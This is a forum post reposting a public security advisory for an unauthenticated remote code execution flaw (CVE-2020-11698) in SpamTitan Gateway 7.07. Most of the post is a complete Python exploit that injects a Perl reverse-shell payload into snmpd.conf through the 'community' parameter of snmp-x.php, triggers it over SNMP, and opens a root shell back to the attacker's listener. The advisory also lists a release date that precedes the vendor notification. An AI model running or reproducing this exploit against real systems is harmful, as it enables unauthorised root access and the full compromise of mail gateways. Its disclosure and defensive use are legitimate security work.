Kev Posted October 5, 2020 Report Posted October 5, 2020 SpamTitan version 7.07 suffers from an unauthenticated remote code execution vulnerability in snmp-x.php. # Exploit Title: SpamTitan 7.07 - Unauthenticated Remote Code Execution # Date: 2020-09-18 # Exploit Author: Felipe Molina (@felmoltor) # Vendor Homepage: https://www.titanhq.com/spamtitan/spamtitangateway/ # Software Link: https://www.titanhq.com/signup/?product_type=spamtitangateway # Version: 7.07 # Tested on: FreeBSD # CVE : CVE-2020-11698 ---[SPUK-2020-09/SpamTitan Unauthenticated Remote Code Execution in snmp-x.php]------------------------------ SECURITY ADVISORY: SPUK-2020-09/SpamTitan Unauthenticated Remote Code Execution in snmp-x.php Affected Software: SpamTitan Gateway 7.07 (possibly earlier versions) Vulnerability: Unauthenticated Remote Code Execution CVSSv3: 10.0 (https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Severity: Critical Release Date: 2020-04-17 CVE: CVE-2020-11698 I. Background ~~~~~~~~~~~~ From www.spamtitan.com: "SpamTitan Gateway is a powerful Anti-Spam appliance that equips network administrators with extensive tools to control mail flow and protect against unwanted email and malware." II. Description ~~~~~~~~~~~~~~ Improper input sanitization of the parameter "community" on the page snmp-x.php would allow a remote attacker to inject command directives into the file snmpd.conf. This would allow executing commands on the target server by by injecting an "extend" or "exec" SNMPD directive and querying the snmp daemon of the server for the correct OID. III. PoC ~~~~~~~ Use python 3 and install the following modules: requests, pysnmp. If your IP is 192.168.1.5 and the target SpamTitan server is spamtitan.example.com, call the PoC like this: ./poc.py -t spamtitan.example.com -i 192.168.1.5 --------------------------------------------- #!/usr/bin/env python # Author: Felipe Molina (@felmoltor) # Date: 09/04/2020 # Python Version: 3.7 # Summary: This is PoC for an unauthenticated RCE 0day on SpamTitan 7.07 and previous versions. # The script abuses of two weaknesses on the product: # 1. Unauthenticated interaction with snmp-x.php script # 2. Injection of snmpd.conf configuration directives in multiple POST parameters such as "community" or "user_username" of snmp-x.php # Product URL: https://www.spamtitan.com/ # Product Version: 7.07 and probably previous import requests requests.packages.urllib3.disable_warnings() import os import threading from optparse import OptionParser import socket import json from pysnmp.hlapi import * from urllib.parse import urlparse from time import sleep SNMPGETDELAY=5 def parseoptions(): parser = OptionParser() parser.add_option("-t", "--target", dest="target", help="Target SpamTitan URL to attack. E.g.: https://spamtitan.com/", default=None) parser.add_option("-i", "--ip", dest="ip", help="Local IP where to listen for the reverse shell. Default: %s" % myip(), default=myip()) parser.add_option("-p", "--port", dest="port", help="Local Port where to listen for the reverse shell. Default: 4242", default=4242) parser.add_option("-q", "--quiet", action="store_true", dest="quiet", default=False, help="Shut up script! Just give me the shell.") return parser.parse_args() def printmsg(msg,quiet=False,msgtype="i"): if (not quiet): if (success): print("[%s] %s" % (msgtype,msg)) else: print("[-] %s" % msg) def info(msg,quiet=False): printmsg(msg,quiet,msgtype="i") def success(msg,quiet=False): printmsg(msg,quiet,msgtype="+") def fail(msg,quiet=False): printmsg(msg,quiet,msgtype="-") def myip(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: # doesn't even have to be reachable s.connect(('10.255.255.255', 1)) IP = s.getsockname()[0] except: IP = '127.0.0.1' finally: s.close() return IP def shellServer(ip,port,quiet): servers = socket.socket(socket.AF_INET, socket.SOCK_STREAM) servers.bind((ip, port)) servers.listen(1) info("Waiting for incoming connection on %s:%s" % (ip,port)) conn, addr = servers.accept() conn.settimeout(1) success("Hurray, we got a connection from %s" % addr[0]) prompt =conn.recv(128) prompt=str(prompt.decode("utf-8")).strip() command = input(prompt) while True: try: c = "%s\n" % (command) if (len(c)>0): conn.sendall(c.encode("utf-8")) # Quit the console if command == 'exit': info("\nClosing connection") conn.close() break else: completeanswer="" while True: answer=None try: answer=str((conn.recv(1024)).decode("utf-8")) completeanswer+=answer except socket.timeout: completeanswer.strip() break print(completeanswer,end='') command = input("") except (KeyboardInterrupt, EOFError): info("\nClosing connection") break def triggerSNMPShell(target, community, triggeroid, port, quiet): if (not quiet): print("Waiting %s seconds to allow the main thread set-up the shell listener." % SNMPGETDELAY) # Give the parent thread a few seconds to set up the shell listener before triggering the SNMP get query sleep(SNMPGETDELAY) if (not quiet): print("Querying the SNMP server to launch the shell.") targetp = urlparse(target) errorIndication, errorStatus, errorIndex, varBinds = next( getCmd(SnmpEngine(), CommunityData(community, mpModel=0), UdpTransportTarget((targetp.netloc, port)), ContextData(), ObjectType(ObjectIdentity(triggeroid))) ) if errorIndication: print("SNMP error: %s" % errorIndication) elif errorStatus: print('SNMP error status: %s at %s' % (errorStatus.prettyPrint(), errorIndex and varBinds[int(errorIndex) - 1][0] or '?')) def main(): (options,arguments) = parseoptions() q = options.quiet t = options.target i = options.ip p = options.port community="dummy" if (t is None): print("[-] Error. Specify a target (-t).") exit() if ((not "http://" in t) and (not "https://" in t)): t = "http://%s/snmp-x.php" % t else: t = "%s/snmp-x.php" % t if (not q): print("[+] Attacking: %s.\nReceiving shell in %s:%s" % (t,i,p)) TARGETOID=".1.3.6.1.4.1.8072.1.3.2.3.1.1.8.114.101.118.115.104.101.108.108" # PAYLOAD="extend revshell /usr/bin/perl -e 'use Socket;$i=\"%s\";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" % (i,p) PAYLOAD="extend revshell /usr/bin/perl -e 'use Socket;$i=\"%s\";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" % (i,p) TOGGLESNMP={ "jaction":"toggleSNMP", "newval":"1" } INJECTION={ "jaction":"saveAll", "contact":"CONTACT", "name":"SpamTitan", "location":"LOCATION", # Add our IP as allowed to query the injected "dummy" community # Add also the perl payload in a new line (%0a) of the snmpd.conf file "community":'%s" %s\n%s # ' % (community,i,PAYLOAD) } rev_thread = threading.Thread(target=triggerSNMPShell, args=(t, community, TARGETOID, 161,q)) rev_thread.start() # Start a thread to listen for incoming reverse shells: if (not q): print("[+] Launching a reverse shell listener to wait for the shell.") # Send the SNMP request to add a community and append an "extend" command to execute scripts # SpamTitan would add a new line in the snmpd.conf file with the new community name and the "extend" script inj_res = requests.post(t,INJECTION,verify=False) if (inj_res.status_code == 200): if (not q): print("Spawning a reverse shell listener. Wait for it...") shellServer(options.ip,int(options.port),options.quiet) else: print("Error. The target is probably not vulnerable (returned a %s code)." % inj_res.status_code) main() --------------------------------------------- III. Impact ~~~~~~~~~~ The snmpd daemon is running as root in the target server. The pressented PoC would return a root shell without need of any registered user in the target server. There is total loss of confidentiality, integrity and availability on the SpamTitan server. IV. Disclosure ~~~~~~~~~~~~~ Reported By: Felipe Molina de la Torre Vendor Informed: 2020-04-17 Patch Release Date: 2020-05-26 Advisory Release Date: 2019-09-18 V. References ~~~~~~~~~~~~ * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11698 * https://sensepost.com/blog/2020/clash-of-the-spamtitan/ ---------------------------------[SPUK-2020-09/SpamTitan Unauthenticated Remote Code Execution in snmp-x.php]--- Source 1 Quote
